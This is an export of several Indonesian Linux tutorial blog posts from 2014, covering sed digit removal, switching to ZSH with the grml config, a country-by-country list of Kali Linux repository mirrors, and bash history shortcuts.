<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">echo "abcde12345fghij" | sed 's/[0-9][0-9]*//'</span></span></pre>
<br />
Pada dasarnya, sed hanya akan mencari unsur bilangan, kemudian meng-substitusikannya dengan NULL. Artinyam menghapus semua unsur bilangan yang ditemukan.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-WMPVkrNRfTM/U4gvDQUqdcI/AAAAAAAABiE/lNGT2qTsURk/s1600/Screenshot+from+2014-05-30+14:10:52.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-WMPVkrNRfTM/U4gvDQUqdcI/AAAAAAAABiE/lNGT2qTsURk/s1600/Screenshot+from+2014-05-30+14:10:52.png" height="129" width="320" /></a></div>
<br />
Atau bisa juga dengan<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">echo "abcde12345fghij" | sed 's/12345//'</span></span></pre>
<br />
Tapi ini tidak efektif jika ternyata ada deretan angka yang tidak beraturan dan memiliki dua baris output<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">echo -e "abcde12345fghij\nklmno67890pqrstu" | sed 's/12345//'</span></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-FwrXuR9iqKM/U4gvsVgzAXI/AAAAAAAABiM/CWyXtOdtVMs/s1600/Screenshot+from+2014-05-30+14:13:33.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-FwrXuR9iqKM/U4gvsVgzAXI/AAAAAAAABiM/CWyXtOdtVMs/s1600/Screenshot+from+2014-05-30+14:13:33.png" height="114" width="320" /></a></div>
<br />
Jika kita kembali ke perintah awal<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">echo -e "abcde12345fghij\nklmno67890pqrstu" | sed 's/[0-9][0-9]*//'</span></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-LBMmDQ5tFT4/U4gv_xOJL_I/AAAAAAAABiU/F9gHXEhSKi8/s1600/Screenshot+from+2014-05-30+14:14:54.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-LBMmDQ5tFT4/U4gv_xOJL_I/AAAAAAAABiU/F9gHXEhSKi8/s1600/Screenshot+from+2014-05-30+14:14:54.png" height="121" width="320" /></a></div>
<br />
<div style="text-align: center;">
MORE TO COME!!!</div>
<br />
<br />Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com1tag:blogger.com,1999:blog-4322924474312123143.post-7349972125960914932014-05-30T12:08:00.002+07:002014-05-30T12:08:40.374+07:00ZSH: Be Moving to Better ShellBanyak yang bertanya pada saya<br />
<blockquote class="tr_bq">
Apa shell yang Anda pakai?</blockquote>
Jawabannya? ZSH.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-UuYdJb5jDcs/U4gPGRnJH3I/AAAAAAAABfQ/ZL-4UjTm4xc/s1600/Screenshot+from+2014-05-30+11:53:48.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-UuYdJb5jDcs/U4gPGRnJH3I/AAAAAAAABfQ/ZL-4UjTm4xc/s1600/Screenshot+from+2014-05-30+11:53:48.png" height="194" width="320" /></a></div>
<br />
ZSH? Ya, benar. Bukan BASH (seperti yang umumnya digunakan oleh pengguna Linux. Mengapa saya memilih untuk menggunakan ZSH?<br />
<br />
1. Cerdas<br />
2. Simple<br />
3. Powerful<br />
4. Versatile<br />
5. Easy to configure<br />
<br />
Ingin mencoba?<br />
<br />
<a name='more'></a><b>Install ZSH</b><br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;"># apt-get install zsh</span></pre>
<br />
<b>Getting better GRML for better ZSH</b><br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ wget -O ~/.zshrc http://git.grml.org/f/grml-etc-core/etc/zsh/zshrc</span></pre>
<br />
<b>Moving to ZSH</b><br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ chsh $(whoami) -s $(which zsh)</span></pre>
<br />
Log out, kemudian log in kembali<br />
<br />
<b>Configuring terminator</b><br />
<br />
terminator - right click - preferences - profile - command - custom command [ /usr/bin/zsh ]<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-QZOnUoKT4Sw/U4gRCdKa9KI/AAAAAAAABfc/urtp-j7fXRE/s1600/Screenshot+from+2014-05-30+12:02:47.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-QZOnUoKT4Sw/U4gRCdKa9KI/AAAAAAAABfc/urtp-j7fXRE/s1600/Screenshot+from+2014-05-30+12:02:47.png" height="235" width="320" /></a></div>
<br />
<b>HINT</b><br />
<br />
Smart auto-complete<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ apt-get update</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ ifconfig</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ apt[PRESS UP BUTTON]</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/--qcRE3beaIc/U4gRmQeVehI/AAAAAAAABfk/Nb_5pOxEo44/s1600/Screenshot+from+2014-05-30+12:05:07.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/--qcRE3beaIc/U4gRmQeVehI/AAAAAAAABfk/Nb_5pOxEo44/s1600/Screenshot+from+2014-05-30+12:05:07.png" height="43" width="320" /></a></div>
<br />
<div style="text-align: center;">
PRESS UP BUTTON</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-Yb1jPNQ2urc/U4gRmRleFMI/AAAAAAAABfo/7FSKcNof-6Q/s1600/Screenshot+from+2014-05-30+12:05:09.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-Yb1jPNQ2urc/U4gRmRleFMI/AAAAAAAABfo/7FSKcNof-6Q/s1600/Screenshot+from+2014-05-30+12:05:09.png" height="43" width="320" /></a></div>
<br />
Smart auto-correct<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="box-sizing: border-box; font-family: 'Courier New', Courier, monospace;">$ ficonfig</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="box-sizing: border-box; font-size: 15px; line-height: 16.5px;"><span style="color: #858585; font-family: Courier New, Courier, monospace;">zsh: correct 'ficonfig' to 'ifconfig' [nyae]? y</span></span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-OGMa2oLum7c/U4gSGEjkkaI/AAAAAAAABf4/1ZBkA53wyh8/s1600/Screenshot+from+2014-05-30+12:07:19.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-OGMa2oLum7c/U4gSGEjkkaI/AAAAAAAABf4/1ZBkA53wyh8/s1600/Screenshot+from+2014-05-30+12:07:19.png" height="221" width="320" /></a></div>
<br />
Selamat berpetualang :)Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com1tag:blogger.com,1999:blog-4322924474312123143.post-27560302458736606882014-05-22T14:46:00.001+07:002014-05-22T14:46:55.394+07:00Complete List of Kali Linux Repository - Include MirrorsPernah naik pitam akibat koneksi lambat ke repository? Mungkin ada baiknya kamu mencoba mirror repository. Mirror ini bertindak layaknya repository utama, hanya saja dia melayani di tempat lain, dengan IP yang berbeda, dan dengan bandwidth yang berbeda juga. Hal ini memudahkan pengguna Linux yang memiliki masalah dengan bandwidth international yang rendah.<br />
<br />
Pada kesempatan ini saya akan membagikan daftar lengkap repositori Kali Linux beserta dengan mirror nya. Woohooo!!!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.kali.org/wp-content/uploads/2013/03/kali-home-large-slider2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://www.kali.org/wp-content/uploads/2013/03/kali-home-large-slider2.jpg" height="219" width="320" /></a></div>
<br />
<a name='more'></a><b>Regular Repository</b><br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://http.kali.org/kali kali main non-free contrib</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://security.kali.org/kali-security kali/updates main contrib non-free</span></span></pre>
<br />
<br />
<b>Mirror Repositories</b><br />
<br />
Country : Greece<br />
Priority : 50<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://upload.wikimedia.org/wikipedia/commons/5/5c/Flag_of_Greece.svg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://upload.wikimedia.org/wikipedia/commons/5/5c/Flag_of_Greece.svg" height="213" width="320" /></a></div>
<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://ftp.cc.uoc.gr/mirrors/linux/kali/kali kali main non-free contrib</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://ftp.cc.uoc.gr/mirrors/linux/kali/kali-security kali/updates main non-free contrib</span></span></pre>
<br />
<br />
Country : Italy<br />
Priority : 100<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://upload.wikimedia.org/wikipedia/en/0/03/Flag_of_Italy.svg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://upload.wikimedia.org/wikipedia/en/0/03/Flag_of_Italy.svg" height="213" width="320" /></a></div>
<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://kali.mirror.garr.it/mirrors/kali kali main non-free contrib</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://kali.mirror.garr.it/mirrors/kali-security kali/updates main non-free contrib</span></span></pre>
<br />
<br />
Country : Czech Republic<br />
Priority : 100<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://upload.wikimedia.org/wikipedia/commons/c/cb/Flag_of_the_Czech_Republic.svg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://upload.wikimedia.org/wikipedia/commons/c/cb/Flag_of_the_Czech_Republic.svg" height="213" width="320" /></a></div>
<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://kali.prf.jcu.cz/kali kali main non-free contrib</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://kali.prf.jcu.cz/kali-security kali/updates main non-free contrib</span></span></pre>
<br />
<br />
Country : Germany<br />
Priority : 100<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://upload.wikimedia.org/wikipedia/en/b/ba/Flag_of_Germany.svg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://upload.wikimedia.org/wikipedia/en/b/ba/Flag_of_Germany.svg" height="192" width="320" /></a></div>
<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://ftp.halifax.rwth-aachen.de/kali kali main non-free contrib</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://ftp.halifax.rwth-aachen.de/kali-security kali/updates main non-free contrib</span></span></pre>
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://archiv.paketsequenz.de/mirrors/kali kali main non-free contrib</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://archiv.paketsequenz.de/mirrors/kali-security kali/updates main non-free contrib</span></span></pre>
<br />
<br />
Country : Netherlands<br />
Priority : 200<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://upload.wikimedia.org/wikipedia/commons/2/20/Flag_of_the_Netherlands.svg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://upload.wikimedia.org/wikipedia/commons/2/20/Flag_of_the_Netherlands.svg" height="213" width="320" /></a></div>
<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://mirror.pcextreme.nl/kali kali main non-free contrib</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://mirror.pcextreme.nl/kali-security kali/updates main non-free contrib</span></span></pre>
<br />
<br />
Country : France<br />
Priority : 200<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://upload.wikimedia.org/wikipedia/en/c/c3/Flag_of_France.svg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://upload.wikimedia.org/wikipedia/en/c/c3/Flag_of_France.svg" height="213" width="320" /></a></div>
<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://ftp.free.fr/pub/kali kali main non-free contrib</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://ftp.free.fr/pub/kali-security kali/updates main non-free contrib</span></span></pre>
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://archiv.paketsequenz.de/mirrors/kali kali main non-free contrib</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://archiv.paketsequenz.de/mirrors/kali-security kali/updates main non-free contrib</span></span></pre>
<br />
<br />
County : United Kingdom<br />
Priority : 100<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://upload.wikimedia.org/wikipedia/en/a/ae/Flag_of_the_United_Kingdom.svg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://upload.wikimedia.org/wikipedia/en/a/ae/Flag_of_the_United_Kingdom.svg" height="160" width="320" /></a></div>
<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://ftp.hands.com/kali kali main non-free contrib</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://ftp.hands.com/kali-security kali/updates main non-free contrib</span></span></pre>
<br />
<br />
Country : Ecuador<br />
Priority : 100<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://upload.wikimedia.org/wikipedia/commons/e/e8/Flag_of_Ecuador.svg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://upload.wikimedia.org/wikipedia/commons/e/e8/Flag_of_Ecuador.svg" height="213" width="320" /></a></div>
<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://mirror.cedia.org.ec/kali kali main non-free contrib</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://mirror.cedia.org.ec/kali-security kali/updates main non-free contrib</span></span></pre>
<br />
<br />
Country : United States of America<br />
Priority : 100<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://upload.wikimedia.org/wikipedia/en/a/a4/Flag_of_the_United_States.svg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://upload.wikimedia.org/wikipedia/en/a/a4/Flag_of_the_United_States.svg" height="168" width="320" /></a></div>
<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://archive.kali.org/kali kali main non-free contrib</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://archive.kali.org/kali-security kali/updates main non-free contrib</span></span></pre>
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://archive-3.kali.org/kali kali main non-free contrib</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://archive-3.kali.org/kali-security kali/updates main non-free contrib</span></span></pre>
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://archive-4.kali.org/kali kali main non-free contrib</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://archive-4.kali.org/kali-security kali/updates main non-free contrib</span></span></pre>
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://psg.mtu.edu/pub/kali kali main non-free contrib</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://psg.mtu.edu/pub/kali-security kali/updates main non-free contrib</span></span></pre>
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://mirror.gawsolutions.us/kali kali main non-free contrib</span></span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; padding: 1em;"><span style="color: #858585; font-family: Courier New, Courier, monospace;"><span style="font-size: 15px; line-height: 16.5px;">deb http://mirror.gawsolutions.us/kali-security kali/updates main non-free contrib</span></span></pre>
<br />
<br />
Jadi, kapan kita melihat bendera ini berkibar di daftar repository ini?<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://upload.wikimedia.org/wikipedia/commons/9/9f/Flag_of_Indonesia.svg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://upload.wikimedia.org/wikipedia/commons/9/9f/Flag_of_Indonesia.svg" height="213" width="320" /></a></div>
<br />
<br />Anonymoushttp://www.blogger.com/profile/17924684978470747147noreply@blogger.com0tag:blogger.com,1999:blog-4322924474312123143.post-30993568594240208242014-05-22T11:22:00.001+07:002014-05-22T11:22:51.309+07:00Linux CMD: Mastering Linux HistoryKamu bisa menyukai sesuatu dengan mengenalnya, namun untuk mencintainya, kamu dituntut untuk memahaminya. Bulan ini saya akan mengajak kamu mendalami dasar-dasar command line pada Linux Based OS. Dan kali ini, kita akan membahas mengenai history.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-V69tub9QlLA/U31tcz3-eYI/AAAAAAAABdc/YUPqeKpp-Dw/s1600/Screenshot+from+2014-05-22+10:22:01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-V69tub9QlLA/U31tcz3-eYI/AAAAAAAABdc/YUPqeKpp-Dw/s1600/Screenshot+from+2014-05-22+10:22:01.png" height="157" width="320" /></a></div>
<br />
Tidak tertarik? Coba ini<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ ifconfig</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ !! lo</span></pre>
<br />
Mau tau lebih lanjut apa yang bisa dilakukan oleh "tanda seru" ini? Ayo ikut saya!<br />
<br />
<a name='more'></a><b>!!</b><br />
Memanggil ulang perintah terakhir yang dimasukan<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ ifconfig</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ !! lo</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-32B3DoaUWAc/U31vHEUBl6I/AAAAAAAABdk/N0vTz_WuKlI/s1600/Screenshot+from+2014-05-22+10:29:11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-32B3DoaUWAc/U31vHEUBl6I/AAAAAAAABdk/N0vTz_WuKlI/s1600/Screenshot+from+2014-05-22+10:29:11.png" height="254" width="320" /></a></div>
<br />
<b>!-1</b><br />
Memanggil ulang perintah terakhir yang dimasukan<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ ls</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ !-1 -lahrt</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-ynMqpmaWz3U/U31xFgpJEII/AAAAAAAABdw/WrUc96hsSb0/s1600/Screenshot+from+2014-05-22+10:37:41.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-ynMqpmaWz3U/U31xFgpJEII/AAAAAAAABdw/WrUc96hsSb0/s1600/Screenshot+from+2014-05-22+10:37:41.png" height="254" width="320" /></a></div>
<br />
<b>!-2</b><br />
Memanggil ulang perintah <u>kedua terakhir</u> yang dimasukan<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ ls</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ pwd</span></pre>
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ !-2 -lahrt</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-HBNJHLYDF74/U31x624sShI/AAAAAAAABd4/w8GgkDSCPJM/s1600/Screenshot+from+2014-05-22+10:41:19.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-HBNJHLYDF74/U31x624sShI/AAAAAAAABd4/w8GgkDSCPJM/s1600/Screenshot+from+2014-05-22+10:41:19.png" height="254" width="320" /></a></div>
<br />
<b>!2</b><br />
Memanggil ulang perintah <u>kedua</u> yang tercatat dalam file history. Untuk melihat isi file history, gunakan perintah<br />
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ history</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-7VlAbZeDaTE/U31y3u3rT7I/AAAAAAAABeA/6hQ6_nKMeUs/s1600/Screenshot+from+2014-05-22+10:45:20.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-7VlAbZeDaTE/U31y3u3rT7I/AAAAAAAABeA/6hQ6_nKMeUs/s1600/Screenshot+from+2014-05-22+10:45:20.png" height="254" width="320" /></a></div>
<br />
<pre style="background-color: #1c1c1c; border: 1px solid rgb(133, 133, 133); box-sizing: border-box; color: #858585; font-size: 15px; line-height: 1.1em; padding: 1em;"><span style="font-family: Courier New, Courier, monospace;">$ !2</span></pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
